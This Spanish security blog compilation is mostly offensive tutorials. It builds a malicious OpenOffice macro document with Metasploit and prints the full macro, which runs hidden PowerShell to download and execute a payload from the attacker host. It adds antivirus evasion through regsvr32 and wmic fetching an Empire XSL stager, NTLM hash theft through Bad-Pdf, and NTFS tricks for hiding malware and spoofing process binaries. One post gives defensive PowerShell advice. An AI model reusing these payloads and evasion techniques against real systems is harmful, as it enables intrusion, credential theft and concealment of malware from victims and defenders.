Con el paso de los años se ha ido mejorado la seguridad de las pasarelas de mensajería y de los endpoints, pero hoy en día siguen surgiendo nuevas técnicas capaces de evadir muchas de estas protecciones.

En esta entrada vamos a ver un par de claros ejemplos que os harán pensar en la (todavía) peligrosidad de abrir un fichero adjunto, sobretodo si se trata de un remitente desconocido porque en ese momento carecíamos de sentido común o porque hemos sido engañados por el sublime subterfugio digital.

Metasploit

Empecemos con el módulo exploit/multi/misc/openoffice_document_macro de Metasploit, que genera un documento de texto de Apache OpenOffice (.odt) con una macro maliciosa.
Para ejecutarlo con éxito, la víctima debe ajustar el nivel de seguridad de las Macros a nivel medio o bajo. Si se establece en medio, se le mostrar a un usuario un mensaje de que si quiere habilitar o no las macros.

Para generar el documento malicioso solo tentemos que configurar unas pocas opciones:
msf5 exploit(multi/misc/openoffice_document_macro) > show options

Module options (exploit/multi/misc/openoffice_document_macro):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   BODY                       no        The message for the document body
   FILENAME  msf.odt          yes       The OpoenOffice Text document name
   SRVHOST   192.168.1.50     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.50     yes       The listen address
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache OpenOffice on Windows (PSH)

msf5 exploit(multi/misc/openoffice_document_macro) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.50:443
msf5 exploit(multi/misc/openoffice_document_macro) > [*] Using URL: http://192.168.1.50:8080/0IYALAH
[*] Server started.
[*] Generating our odt file for Apache OpenOffice on Windows (PSH)...
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Thumbnails
[*] Packaging file: Thumbnails/thumbnail.png
[*] Packaging file: manifest.rdf
[*] Packaging file: styles.xml
[*] Packaging file: settings.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic
[*] Packaging file: Basic/script-lc.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic/Standard
[*] Packaging file: Basic/Standard/script-lb.xml
[*] Packaging file: Basic/Standard/Module1.xml
[*] Packaging file: content.xml
[*] Packaging file: meta.xml
[*] Packaging file: mimetype
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/META-INF
[*] Packaging file: META-INF/manifest.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2/accelerator
[*] Packaging file: Configurations2/accelerator/current.xml
[+] msf.odt stored at /home/vmotos/.msf4/local/msf.odt

Vale, como veis el documento mdf.odt se ha guardado en la ruta indicada. Se lo enviamos a la incauta víctimas y si permiten ejecutar macros...


Booom! tenemos sesión de meterpreter:

msf5 exploit(multi/misc/openoffice_document_macro) >
[*] 192.168.1.75     openoffice_document_macro - Sending payload
[*] Sending stage (179779 bytes) to 192.168.1.75
[*] Meterpreter session 1 opened (192.168.1.50:443 -> 192.168.1.75:1048) at 2018-06-07 11:43:19 +0200

msf5 exploit(multi/misc/openoffice_document_macro) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                              Connection
  --  ----  ----                     -----------                              ----------
  1         meterpreter x86/windows  PCPRUEBA\Administrador @ PCPRUEBA  192.168.1.50:443 -> 192.168.1.75:1048 (192.168.1.75)

Desafortunadamente esto será detectado y parado inmediatamente por casi cualquier antivirus que tenga la máquina de la víctima. Así que tendremos que modificar el documento malicioso para intentarlo bypassear.

Empezaremos descomprimiendo con 7-zip el archivo .odt, pues el formato OpenDocument tiene dentro el contenido, los estilos, los metadatos y la configuración de la aplicación en archivos y directorios con la siguiente estructura:


Dentro del archivo 'Basic\Standard\Module1.xml' tenemos la macro maliciosa generado por el módulo de Metasploit:


Os dejo también el .xml completo para que tengáis todo el detalle:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN""module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM  *****  BASIC  *****


    Sub OnLoad
      Dim os as string
      os = GetOS
      If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
        Exploit
      end If
    End Sub

    Sub Exploit
      Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring(&#39;http://192.168.1.50:8080/0IYALAH&#39;);&quot;&quot;&quot;)
    End Sub

    Function GetOS() as string
      select case getGUIType
        case 1:
          GetOS = &quot;windows&quot;
        case 3:
          GetOS = &quot;osx&quot;
        case 4:
          GetOS = &quot;linux&quot;
      end select
    End Function

    Function GetExtName() as string
      select case GetOS
        case &quot;windows&quot;
          GetFileName = &quot;exe&quot;
        case else
          GetFileName = &quot;bin&quot;
      end select
    End Function
   
</script:module>

Os he marcado en amarillo la función del exploit que llama al comando en powershell de la shell reversa. Esto es detectado rápidamente por el endpoint e incluso en muchos casos nos encontraremos con sistemas con powershell restringido.

Aquí entra en juego el denominado Squiblydoo, una técnica que permite a un usuario sin privilegios elevados descargar y ejecutar un script hosteado en un servidor remoto por medio de un binario firmado por Microsoft.

Ese binario firmado por Microsoft que también puede ser una librería o un script (LOLBAS) no es más que una herramienta presente en el sistema que "reutilizamos" maliciosamente.

Método regsvr32

El binarioregsvr32.exe es una utilidad en línea de comandos para registrar y eliminar el registro de controles OLE, como DLL y controles ActiveX en el Registro de Windows y la podemos usar para descargar un archivo XML que contiene scriptlets que ejecuten código en la máquina víctima.

Simplemente tendríamos que cambiar en la función del exploit lo siguiente:

Shell("cmd.exe /C ""regsvr32.exe /s /i:http://192.168.1.50/test.sct scrobj.dll""")

y este one-liner ejecutará el sct (que realmente es un xml) hosteado en el web server del atacante. Para la PoC simplemente un jscript que abre la calculadora:

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}">
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
</script>
</registration>
</scriptlet>

Si ejecutamos la macro o lanzamos el comando directamente obtendremos el resultado:



Pero si tenemos Windows Defender o cualquier antivirus actualizado este método será también interceptado y nuestras esperanzas finiquitadas.

Método wmic

Terminemos con algo más serio y efectivo: obtener una shell reversa mediante otro método, con wmic llamando a un payload generado con un stager xsl de Startfighter mediante el mod de Empire, todo ello para bypassear el fuc*** antivirus.

(Empire) > usestager windows/starfighters_xsl
(Empire: stager/windows/starfighters_xsl) > info

Name: XSL Launcher StarFighter

Description:
  Generates a .xsl launcher for Empire.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          False       /tmp/launcher.xsl File to output XSL to, otherwise
                                                 displayed on the screen.
  Obfuscate        False       False             Switch. Obfuscate the launcher
                                                 powershell code, uses the
                                                 ObfuscateCommand for obfuscation types.
                                                 For powershell only.
  ObfuscateCommand False       Token\All\1,Launcher\STDIN++\12467The Invoke-Obfuscation command to use.
                                                 Only used if Obfuscate switch is True.
                                                 For powershell only.
  Language         True        powershell        Language of the stager to generate.
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  Base64           True        True              Switch. Base64 encode the output.
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.


(Empire: stager/windows/starfighters_xsl) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http            http://192.168.1.50:8888             5/0.0

(Empire: stager/windows/starfighters_xsl) > set Listener http
(Empire: stager/windows/starfighters_xsl) > execute

[+] wmic process get brief /format:"http://10.10.10.10/launcher.xsl"

[*] Stager output written out to: /tmp/launcher.xsl

Al lanzar el launcher desde Empire obtendremos el xsl apuntando directamente a nuestro Listener. Así que ya sólo nos queda usar WMIC que puede ejecutar scripts XSL (eXtensible Stylesheet Language) localmente o desde una URL, algo muy útil en entornos donde Windows Script Host está desactivado o bloqueado.

El comando sería tal que así:

wmic os get /FORMAT:"http://192.168.1.50:8081/launcher.xsl"

Y la línea a modificar en la macro:

Sh"640"ell("cmd.exe /C ""wmic os get /FORMAT:""http://192.168.1.50:8081/launcher.xsl""""")

Al ejecutarlo obtendremos una sesión remota habiendo evadido todas las protecciones y tendremos un nuevo agente de Empire para empezar a jugar con la post-explotación:


PDF malicioso para robar hashes NTLM

$
0
0
Si ayer veíamos cómo generar documentos .odt maliciosos de Openoffice hoy veremos como generar PDFs capaces de robar hashes NTLM (NTLMv1 / NTLMv2) de las máquinas Windows de las incautas víctimas.

La técnica utilizada es la que descubrió Assaf Baharav, un investigador de Check Point:"La especificación PDF permite cargar contenido remoto para las entradas GoToE & GoToR".
Cuando alguien abre este archivo, el documento PDF automáticamente realiza una solicitud a un servidor SMB malicioso remoto. Por diseño, todas las solicitudes SMB también incluyen el hash NTLM con fines de autenticación así que este hash NTLM se registrará en el servidor SMB. Y ya sabéis que hay herramientas disponibles que pueden romper este hash y recuperar la contraseña original (o utilizar directamente Pass-the-hash?).

Este tipo de ataque no es nuevo, en absoluto, y en el pasado, se ha ejecutado al iniciar solicitudes SMB desde documentos de Office, Outlook, navegadores, archivos de acceso directo de Windows, carpetas compartidas y otras funciones internas del sistema operativo Windows. Así que faltaban, cómo no, los documentos PDFs.

Assaf comprobó la vulnerabilidad en los principales lectores PDF FoxIT y Acrobat Reader y Adobe ya ha publicado el parche APSB18-09 en sus últimas versiones. Por otro lado Microsoft lanzó ADV170014 para proporcionar un mecanismo técnico e instrucciones sobre cómo los usuarios podrían deshabilitar la autenticación NTLM SSO en sistemas operativos Windows, con la esperanza de detener el robo de hashes NTLM a través de solicitudes SMB realizadas a servidores ubicados fuera de la red local.

En cualquier caso si nos encontramos con un sistema sin actualizar tenemos la herramienta Bad-Pdf del saudí Deepu TV (DeepZec) que levanta un listener de Responder para capturar los hashes.

Para ejecutarlo en Kali Linux simplemente tenemos que hacer:

git clone https://github.com/deepzec/Bad-Pdf.git
cd badpdf
python badpdf.py



A continuación veremos el Responder esperando los hashes:


Ejecución del archivo Bad-PDF generado en una máquina Windows y obtención del hash NTLM: :)


Yara Rule:

https://github.com/InQuest/yara-rules/blob/master/NTLM_Credentials_Theft_via_PDF_Files.rule

Técnica ref.:

https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/

Fuente:

https://github.com/deepzec/Bad-Pdf

Defensa contra ataques PowerShell

$
0
0
Que la industria de la seguridad está repleta de noticias sobre cómo se está utilizando PowerShell tanto por malware como por atacantes no es un secreto. Por eso defenderse de estos ataques es capital, o al menos debe serlo, para la mayoría de las organizaciones. Hoy leía un artículo en el blog de Microsoft en el que la comunidad de PowerShell.org resaltaba algunas recomendaciones interesantes:

- Implementar PowerShell v5, integrado en Windows 10. De forma alternativa se puede implementar Windows Management Framework, disponible hasta en Windows 7 y Windows Server 2008r2.
- Habilitar y recopilar logs de PowerShell, incluyendo opcionalmente el Registro de eventos protegidos. Incorporar estos logs en los flujos de trabajo de firmas, búsqueda y respuesta a incidentes.
- Implementar la administración "Just Enough" en los sistemas más importantes para eliminar o reducir el acceso administrativo sin restricciones a esos sistemas.
- Implementar políticas de Device Guard/Application Control para permitir que las tareas administrativas preaprobadas puedan utilizar toda la capacidad del lenguaje PowerShell, a la vez que se limita su uso al resto.
- Instalar Windows 10 para brindar al proveedor de antivirus acceso completo a todo el contenido (incluido el contenido generado o no ofuscado en tiempo de ejecución) procesado por Windows Scripting Hosts, incluido PowerShell.

Más o menos estos pasos y soluciones están bastante detallados en la presentación que hizo Lee Holmes en el último Global Summit de Powershell + DevOps: "Defendiendo contra los ataques de PowerShell", sin duda un video bastante académico y entretenido para noches de insomnio ;) :


Diapositivas usadas en este vídeo: Defending-Against-PowerShell-Attacks.
Más detalles sobre las funciones de seguridad de PowerShell: PowerShell ♥ the Blue Team.
Para obtener más información sobre la implementación de Just Enough: http://aka.ms/jeadocs.

Recopilatorio de trucos en NTFS para pentesters

$
0
0
En un artículo impresionante René Freingruber (@ReneFreingruber) de SEC Consult Vulnerability Lab nos hablaba de diferentes técnicas o trucos sobre el sistema de archivos NTFS en Windows que fueron recopilados durante años. Algunas de las técnicas enumeradas ya fueron documentadas por James Forshaw (@tiraniddo) y Alex Inführ (@insertScript). No os los perdáis porque son muy interesantes y pueden resultar tremendamente útiles:

1.- Crear directorios sin tener permisos (CVE-2018-1036/NTFS EoP)

En Windows se pueden asignar "permisos especiales" a directorios para que un usuario pueda crear archivos dentro, pero no subdirectorios.
Un ejemplo es la carpeta C:\Windows\Tasks\:


Además, es posible que un administrador o un programa configure dichos permisos y asuma que los usuarios realmente no pueden crear carpetas en él.

Sin embargo, esta ACL puede saltarse fácilmente en el momento en que un usuario pueda crear archivos. Solo hay que agregar "::$INDEX_ALLOCATION" al final de un nombre de archivo y se creará una carpeta en lugar de un archivo:


Como podéis ver se pudo crear un directorio y el usuario puede crear archivos o carpetas arbitrariamente en este directorio (lo que puede derivar en escalada de privilegios si un administrador o programa supone que no es posible debido a los permisos que faltan).

También, el truco ::$INDEX_ALLOCATION se puede usar para eliminar directorios si una aplicación solo permite eliminar archivos.

2.- Evadir las restricciones de rutas con ADS (Alternate Data Streams)

Quizás te preguntes por qué funcionó la técnica anterior. Básicamente, los archivos en un volumen NTFS se almacenan de la siguiente forma:

<filename>:<stream-name>:<type>

Si creamos un archivo llamado test.txt, se almacenará internamente como test.txt ::$DATA porque el nombre del stream está vacío y $DATA es el tipo predeterminado. El primer truco abusa del hecho de que el tipo de stream puede cambiarse a INDEX_ALLOCATION que corresponde a un directorio y, por lo tanto, crea un directorio.


Pero también es posible almacenar datos en un stream diferente (ADS). Si escribimos, por ejemplo, "test.txt", escribimos en realidad "test.txt::$DATA" (el nombre del stream está vacío). Sin embargo, también podemos escribir "test.txt:foo" o "test.txt:foo:$DATA" (ambos son iguales porque $DATA es el tipo predeterminado).

Existen diferentes nombres de stream, por ejemplo, para almacenar el origen de un archivo. Si descargas un archivo de Internet (o lo recibe por correo electrónico), Windows agrega silenciosamente un identificador de zona a través de un nombre de stream (para mostrar luego un cuadro de diálogo de advertencia adicional si desea ejecutarlo). Por ejemplo, si descargamos "putty.exe", Windows también crea "putty.exe:Zone.Identifier:$DATA". Estos nombres de streams se pueden hacer visibles a través del parámetro /r con el comando dir: 


Como se puede observar, el identificador de zona no se puede leer a través del comando type (con el comando more funcionaría) y también es importante omitir el tipo $DATA si leemos el archivo con el bloc de notas. El mensaje importante es que podemos almacenar datos en un ADS (¡incluidas las aplicaciones!). Por ejemplo, putty puede copiarse a un ADS y luego ejecutarse a través de wmic (directamente no es posible).
 


Nota: tened en cuenta que Microsoft Windows Defender se actualizó para detectar las llamadas a procesos con WMIC.

¿Quizás te preguntes por qué alguien haría esto? En primer lugar, ADS se puede utilizar para ocultar datos (el comando dir sin el modificador /r no los mostrará; explorer.exe tampoco los mostrará; más adelante veremos cómo podemos ocultarlos incluso del dir /r ...) . Sin embargo, ADS tiene otra gran propiedad: se puede agregar un ADS a una carpeta. Para poder hacer esto, debemos tener los permisos de "crear carpetas" en el directorio (y el nombre de la carpeta no debe ser un número). El hecho importante es que un ADS en una carpeta ¡se parece a un archivo de la carpeta principal!

Por ejemplo, en Windows, un usuario normal no puede crear archivos en C:\Windows\ (solo los administradores pueden escribir en esta carpeta). Por lo tanto, es posible que las aplicaciones supongan que los archivos en C:\Windows\ pueden ser confiables porque solo los administradores pueden crear dichos archivos. Sin embargo, C: \Windows\Tracing es una carpeta en la que los usuarios normales pueden crear archivos y carpetas: un usuario normal puede, por lo tanto, crear un ADS en esta carpeta.

Digamos que el usuario escribe en el archivo C:\Windows\Tracing:test.dll. Si esta ruta ahora se pasa a una API de Windows que calcula la carpeta base, esta API se iniciará al final de la ruta y retrocederá hasta que se encuentre la primera "\". Luego, todo lo que quede de "\" se devolverá como la carpeta base. Para C:\Windows\Tracing:test.dll esto devolverá C:\Windows\ como carpeta base, sin embargo, como ya se mencionó, un usuario normal no puede crear archivos en esta carpeta, pero utilizando este truco creamos un archivo que parece que está almacenado en C:\Windows ;)

Aquí está el resultado de las diferentes funciones de Windows que calculan la carpeta base (podemos ver que siempre es C:\windows):
 

Este comportamiento se puede utilizar para eludir algunas soluciones de listas blancas de aplicaciones pero también puede eludir las comprobaciones de seguridad en diversas situaciones donde el programador supone que es suficiente comprobar si un archivo está almacenado en una carpeta base específica porque supone que solo los administradores pueden escribir en esta carpeta por la ACL.

Otro hecho interesante es que los nombres de ADS pueden contener símbolos que normalmente están prohibidos para nombres de archivos como " o * (es decir, si quieres crear estos archivos tienes que usar la API nativa de Windows; cmd.exe filtra los caracteres de estos archivos):


3.- Crear archivos que no se pueden encontrar usando la carpeta "..."

Cada carpeta contiene por defecto dos entradas especiales: el directorio "." que se refiere al directorio actual y ".." que se refiere al directorio padre. En Windows no es posible crear archivos/carpetas con solo puntos en el nombre, más que nada para evitar ataques que confunden a los parsers.


La captura de pantalla anterior muestra que no es posible crear una carpeta "..." o "...". Sin embargo, se puede evitar con el truco ::$INDEX_ALLOCATION:


La carpeta "..." se creó con el truco mencionado anteriormente, sin embargo, dichas carpetas también se pueden crear pasando el nombre dos veces como se muestra también en el ejemplo "...." (mkdir "....\....\" crea el directorio "....", pero también un directorio "...." en él. Sin embargo, si ejecutamos mkdir "....\Xyz\" no funciona.).

Usando el segundo truco también se pueden crear estas carpetas, almacenar archivos allí o incluso ejecutar programas desde esa ubicación:
 

Como se puede ver, no se puede entrar a la carpeta solo con el nombre (por ej.: "cd ..." o "cd ...\" o "cd ...\..." no funciona), así que se tiene que usar la sintaxis "cd ...\...\". Después de eso podemos crear archivos en esta carpeta. (Nota interesante: si ejecutas "cd ." en esa carpeta, subirás un directorio, porque la ruta está "confundida").

Además, tampoco es posible abrir este directorio desde el explorer. Se pueden dar dos casos: a veces al hacer doble clic en dicha carpeta no tiene impacto (se permanece en el directorio actual y la ruta sigue igual), en otros casos se queda en la carpeta pero la ruta en el explorador cambia. Por ejemplo, después de "abrir" la carpeta 17 veces, se ve así (observa los "..." directorios en la ruta):


Se puede intentar entrar a la carpeta tantas veces como desee, no se verán los archivos en la carpeta en el explorer. Tampoco es posible abrir la carpeta pasando "C:\test\...\...\" en el cuadro de la ruta en la imagen de arriba.

Nota: si se intenta eliminar esta carpeta desde el explorer.exe se bloqueará; se verá un cuadro de diálogo donde Windows está contando los archivos en la carpeta y donde cuenta "una gran cantidad de archivos". Luego la búsqueda de archivos en esta carpeta a través del explorer tampoco funciona, por ejemplo, si buscas el archivo "123.txt" con el explorer, se bloqueará / buscará para siempre, sin encontrar realmente los archivos.

Ten en cuenta que la búsqueda mediante la consola si funciona sin problemas:


Sin embargo, si usamos Powershell se quedará "atrapado" en un bucle:

 
La salida se trunca porque el comando imprimirá los dos directorios para siempre ...).

Una búsqueda de "123.txt" (Por ej.: con "Get-ChildItem -Path C:\test -Filter 123.txt -Recurse -ErrorAction SilentlyContinue -Force") nunca encontrará el archivo (y nunca terminará).

También se probó ésto con diferentes productos AntiVirus y la mayoría parecía funcionar correctamente (colocó muestras de malware en este directorio y las soluciones antivirus probadas las encontraron). Algunos quedaban "confundidos" por ejemplo, cuando buscaban virus dentro de "C:\prueba\...\" buscaban en "C:\prueba\". También el código python con os.walk () parece funcionar correctamente.

Tener en cuenta que la creación de un junction de un directorio que apunta a su propia carpeta principal no conduce a un bucle infinito en cmd o Powershell.

4.- "Ocultar" el destino de una unión o junction de directorio

Las uniones o junctions de directorios son una característica NTFS muy útil para encontrar vulnerabilidades de seguridad. Utilizándolo, se puede crear (con privilegios de usuario normales) un enlace simbólico a una carpeta de destino.

La mejor vulnerabilidad de seguridad para explicar las uniones de directorios es, en mi opinión, AVGater, donde el atacante coloca un archivo en la carpeta x. Luego marca el archivo como un virus y la solución AntiVirus instalada lo moverá a la cuarentena. Después de eso, el atacante elimina la carpeta x y la reemplaza con un junction de directorio llamada "x" que apunta a C:\windows\System32\. Si el atacante ahora hace clic en el botón "restaurar", la solución AntiVirus copiará el archivo en la carpeta x que ahora apunta a system32 con privilegios de SYSTEM (lo que conduce directamente a una elevación de privilegios).

A menudo se puede abusar de las uniones de directorio si la aplicación específica contiene vulnerabilidades de condición de carrera (vulnerabilidades de TOCTOU - hora de comprobación de uso).

Se puede crear una unión de directorio con la utilidad mklink y el parámetro /J. Es posible combinar esto con el truco ::$INDEX_ALLOCATION para crear una unión de directorio con el nombre "...":


La primera unión de directorio "test1" se creó con un nombre normal y, por lo tanto, el destino se muestra correctamente en la salida "dir". Sin embargo, en el caso de la unión de directorio "...", el objetivo ya no se muestra (en cambio se muestra, ver el recuadro rojo). Tened en cuenta también que se puede dejar que junction1 apunte a junction2 que a su vez apunte a junction3 y así sucesivamente hasta que el último apunte al destino real.

Debido a que las rutas son confusas, se puede entrar con el truco "cd ...\...\" mencionado anteriormente (para estar en la carpeta system32), pero "." Apuntará a "C:\pruebas1" en su lugar:


Como veis, el comando dir muestra los archivos desde la carpeta system32. Pero sin embargo también se puede ejecutar "hola.bat" desde el directorio actual (".\").


Dado que las rutas son confusas, esto ejecutará C:\pruebas1\hola.bat y no C:\windows\system32\hola.bat. Esto podría usarse para eludir las soluciones de listas blancas de algunas aplicaciones.

5.- Ocultar ADS

Como ya se habló, es posible ver ADS a través del modificador /r en el comando dir. Además, streams.exe es una herramienta de Sysinternals que también puede mostrarlos:


En versiones anteriores de Windows, era posible ocultar ADS utilizando nombres reservados como CON, NUL, COM1, COM2, LPT1, .... Sin embargo, en Windows 10 ya no es posible, pero"..."todavía funciona:


El ADS en "..." se crea con éxito, pero no se muestra con las anteriores herramientas. Al crear un ADS en COM1 se produce un error, la creación de un ADS en NUL no tiene ningún efecto (no se crearán ADS).

Tened en cuenta que también se puede crear un ADS en el disco con "echo 123> C:\:abc.txt". Esto se ocultará del comando "dir /r" dentro de C:\. Sin embargo, mostrará los ADS dentro de las subcarpetas de C: \ para el directorio "..". Por ejemplo:


El ADS marcado en rojo fue creado por el comando C:\:abc.txt ADS. Este ADS también es visible a través de la herramienta streams.exe de Sysinternals si se llama directamente a C:\. Por lo tanto, para esconderse de ambas herramientas, se debe usar el truco "...".

Existe un segundo truco que puede usarse para ocultarte también de las herramientas. En Windows se puede agregar ". Espacios." al final de un archivo y Windows lo eliminará automáticamente (la canonización lo elimina).


Sin embargo, podemos crear dicho archivo con un ADS. La característica graciosa de un archivo de este tipo es que las herramientas no podrán abrirlo porque una ruta como "xyz". ."Se cambiará automáticamente a " xyz " y este archivo no existe.

Aquí está la prueba:


El ADS foobar.txt creado no puede ser encontrado por las herramientas:



nota 1: Estos archivos también se pueden crear a través de:  echo test > “test. .::$DATA”

nota 2: ten en cuenta que los ADS  "..: abc.txt" son los ADS que se crearon en "C: \: abc.txt".

También podemos crear un directorio con el nombre ". ." como se muestra a continuación:


Entonces no es posible entrar a esa carpeta:


Además, la técnica ya mencionada (como cd . .\. .\ no funciona), pero cd ". . ::$ INDEX_ALLOCATION" si funciona (las comillas dobles son importantes).

Si podemos agregar espacios entre un nombre de directorio, también podemos agregarlo al final como  "b " o ".. " o ". ".


Explicación: Hay una "b" y una carpeta "b", un archivo llamado "a" y un archivo llamado "a", los dos directorios predeterminados "." y ".." más el ". " y " .. " y el directorio ". .".

Se puede entrar a los directorios con el nombre "..." con la técnica comentada anteriormente:


Nota 1: esta carpeta se puede abrir a través del explorer si hace clic dos veces en la carpeta, también el contenido de la carpeta se mostrará correctamente. Sin embargo, los archivos en él no se pueden abrir debido a ruta incorrecta (explorer.exe usa C:\test22\..\..\123.txt en lugar de C:\test22\..\ 123.txt). Powershell volverá a quedarse pillado en un bucle al buscar dichas carpetas.

Nota 2: también se puede crear un ADS en una carpeta con un nombre como "abc". Luego se puede cambiar el nombre de la carpeta a un nombre que solo contenga números (por ejemplo, "1"). Después de eso, aún se pueden ver los ADS, pero no se pueden abrir (un ADS en un directorio con un número ya que el nombre no funciona). Para abrir los datos de ADS, primero se debe cambiar el nombre de la carpeta a, por ejemplo, "abc".

Trucos del sistema de archivos vs. productos AntiVirus / software forense:

Se hizo una verificación rápida de los trucos mencionados anteriormente contra los productos AntiVirus para verificar si estos pueden detectar malware que abusa de estos trucos. El hallazgo más notable fue con archivos/carpetas que terminan con ". .". Por ejemplo, se guardó el virus de prueba eicar en una carpeta y se copió con los siguientes comandos:

copy eicar.com > "123. .::$DATA"
copy eicar.com > tester
echo 123 > "foo. .::INDEX_ALLOCATION"
cd "foo. .::$INDEX_ALLOCATION"
copy ..\eicar.com .
copy ..\eicar.com .\eicar

Después de eso, se volvieron a habilitar las soluciones de Antivirus y se escaneó la carpeta. Todas las soluciones de Antivirus identificaron "eicar.com" y "tester" en esa carpeta, pero no el virus de eicar en "123". ." o en los dos archivos en la carpeta " foo. .". Sin embargo, cuando se entra a esa carpeta y se ejecutan los archivos, los productos AntiVirus los identifican (porque el contenido se carga desde el sistema de archivos a la memoria).

La acción "eliminar" de Windows Defender no pudo eliminar los archivos y, por lo tanto, no tuvo ningún impacto, sin embargo, la acción "eliminar" de, por ejemplo, Emsisoft podía eliminar el virus de prueba en la carpeta. Emsisoft eliminó el archivo "eicar.com" en "foo. .". El archivo" eicar "no se eliminó y el contenido se puede leer sin problemas (Emsisoft les respondió que solo se escanean los archivos que se asignan como ejecutables, con la excepción de algunas extensiones de archivo específicas como .com. Este comportamiento puede modificarse en la configuración del protector de archivos cambiando a "Completo" para también escanear en los archivos leídos, Windows Defender por otro lado también bloqueó la lectura del archivo de texto "eicar").

También se realizó una breve prueba corta contra Autopsy 4.6.0 (un software forense gratuito) cargando "archivos lógicos" en la herramienta (desde el sistema en ejecución, no desde una imagen de disco). Se podía entrar en la carpeta "..." pero no en "foo. .". Además, se creó un archivo llamado "valid" con el contenido "valid" y un archivo llamado "valid. ." con el contenido "secret". Autopsy muestra para ambos archivos el contenido "valid" (y nunca el contenido "secret"). Además de eso, la carpeta ".. " (con un espacio al final) se interpreta como ".." y, por lo tanto, sube un directorio con un doble clic. Esto solo se aplica al modo "archivos lógicos", en el modo de imagen de disco (en raw) todo se muestra correctamente (en el modo directo, Autopsy usa la API de Windows para acceder a los datos y, por lo tanto, se producen problemas).

6.- Ocultar el binario del proceso

Como ya se discutió anteriormente: Windows elimina automáticamente ". ." al final de un archivo. ¿Qué pasa si de alguna manera podemos comenzar un proceso con un nombre como "file1. ."? Bueno, entonces puede suceder que las comprobaciones (por ejemplo, comprobaciones de firmas de productos AntiVirus) se realicen en "file1". Intentemos esto:


Creamos 3 archivos:

- "file" con la firma de Microsoft de taskmgr
- "file. ." que es nuestro" malware falso que debe ocultarse pero ejecutarse
- "filex x" que contiene la firma de WinSCP. Este archivo se volverá importante más adelante.

Ahora necesitamos una forma de comenzar un proceso desde el binario "file. .". lo cual no es una tarea trivial porque todas las llamadas al API de Microsoft Windows eliminan automáticamente el". ." del nombre del archivo y empezaría por "file" (taskmgr) en su lugar. Para lidiar con este problema usamos el siguiente código:


El código anterior solo llama a CreateProcessA para crear un proceso desde "filex x" (WinSCP). Si compilamos esta aplicación y la iniciamos, se iniciará WinSCP. Sin embargo, no vamos a comenzarlo normalmente. En cambio, iniciamos la aplicación dentro de un depurador (por ejemplo, WinDbg). Ahora establecemos un punto de interrupción en la función que hace que la llamada al sistema asociado: "bp ntdll! NtCreateUserProcess". Con "g" (ir) podemos iniciar nuestro programa en el depurador y llegar al punto de interrupción. En el punto de interrupción, la pila actual se puede descargar ("dq rsp"). El 12º puntero en la pila es importante y debe ser dumpeado. El 4to valor en esta dirección es el puntero a nuestro nombre de archivo.


El nombre de archivo (cuadro verde) ahora está normalizado (comienza con \??\C:\...). Exactamente esta normalización también habría eliminado el ". ." desde el final del nombre de archivo - es por eso que el código C anterior no usó" archivo ". ." como nombre del proceso. Sin embargo, dado que ya se ha normalizado, este valor ahora puede modificarse. Vamos a sobrescribir los caracteres "x" con "." (Comando "eb" para editar bytes):


Después de eso simplemente continuamos la ejecución con "g". ¿Adivinas que pasará?

Correcto, "file. ." (el malware) se ejecuta. Sin embargo, si un usuario hace clic derecho en el proceso en el administrador de tareas y selecciona "propiedades", se mostrarán las propiedades de "archivo" (taskmgr) con la firma válida de Microsoft.



Pero, ¿qué pasa con "filex x" (WinSCP)? Sí, este archivo también se muestra como el proceso en ejecución, es decir, en el explorador de procesos (porque la ruta se estableció antes de llamar a NtCreateUserProcess):


¿Y qué pasa con Powershell? Sí, también el binario incorrecto:


¿Es esto un problema? Bueno, eso depende. En primer lugar, un atacante puede iniciar un proceso (el malware), renombrarlo / eliminarlo luego y luego renombrar un archivo válido con el mismo nombre. Entonces también se producirán los efectos anteriores en el administrador de tareas y el explorador de procesos. Sin embargo, la diferencia es que con el truco mencionado anteriormente, esto ocurre exactamente al mismo tiempo cuando se inicia el proceso.

